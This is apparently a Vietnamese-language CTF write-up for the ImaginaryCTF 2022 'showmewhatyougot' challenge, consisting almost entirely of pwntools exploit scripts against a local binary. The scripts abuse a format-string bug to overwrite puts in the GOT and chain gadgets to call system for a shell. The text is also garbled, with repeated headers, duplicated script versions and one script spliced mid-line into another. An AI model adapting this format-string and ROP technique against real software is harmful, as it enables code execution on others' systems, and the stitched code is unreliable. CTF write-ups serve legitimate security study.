🌏showmewhatyougot - ImaginaryCTF 2022
(Chall này mình lấy lại của 1 anh trên youtube để viết)
Challenge
Script











Vậy thì thay đổi như nào ?












Solution (full)


Last updated
(Chall này mình lấy lại của 1 anh trên youtube để viết)

























Last updated
from pwn import *
elf = context.binary = ELF("./vuln")
r = elf.process()
gdb.attach(r,
'''
b*main+144\n
c
''')
###############
# ROP chain #
###############
pop_rdi_ret = 0x0000000000401323
puts_got = 0x404018
###############
# Exploit #
###############
payload = b"%10$n%4199203p%9$n------" #24bytes(offset 6, 7, 8)
#puts_got: \x20\x38\xe4\xf7\xff\x7f\x00\x00
payload += p64(puts_got) #Offset 9 : \x20\x38\xe4\xf7 --> \x23\x13\x40\x00
payload += p64(puts_got+4) #Offset 10 : \xff\x7f\x00\x00 --> \x00\x00\x00\x00
r.sendline(payload)
r.interactive()###############
# ROP chain #
###############
pop_rdi_ret = 0x0000000000401323
pop4_ret = 0x000000000040131c
puts_got = 0x404018
system = 0x4010b0
addr_contant_sh = 0x404500
###############
# Exploit #
###############
payload = b"%14$n%26739p%11$n%4172457p%13$n-" #32bytes(offset 6, 7, 8, 9)
# 4199196(pop3_ret) - 26739(binsh) = 4172457 (bytes)
#puts_got: \x20\x38\xe4\xf7\xff\x7f\x00\x00
payload += p64(pop_rdi_ret) #Offset 10
payload += p64(addr_contant_sh) #Offset 11
payload += p64(system) # offset 12
payload += p64(puts_got) #Offset 13 : \x20\x38\xe4\xf7 --> \x23\x13\x40\x00
payload += p64(puts_got+4) #Offset 14 : \xff\x7f\x00\x00 --> \x00\x00\x00\x00 from pwn import *
elf = context.binary = ELF("./vuln")
r = elf.process()
gdb.attach(r,
'''
b*main+144\n
c
''')
###############
# ROP chain #
###############
pop_rdi_ret = 0x0000000000401323
pop5_ret = 0x000000000040131b
puts_got = 0x404018
system = 0x4010b0
addr_contant_sh = 0x404500
###############
# Exploit #
###############
payload = b"%14$n%26739p%11$n%4172456p%13$n-" #32bytes(offset 6, 7, 8, 9)
# 4199196(pop3_ret) - 26739(binsh) = 4172457 (bytes)
#puts_got: \x20\x38\xe4\xf7\xff\x7f\x00\x00
payload += p64(pop_rdi_ret) #Offset 10
payload += p64(addr_contant_sh) #Offset 11
payload += p64(system) # offset 12
payload += p64(puts_got) #Offset 13 : \x20\x38\xe4\xf7 --> \x23\x13\x40\x00
payload += p64(puts_got+4) #Offset 14 : \xff\x7f\x00\x00 --> \x00\x00\x00\x00
r.sendline(payload)
r.interactive()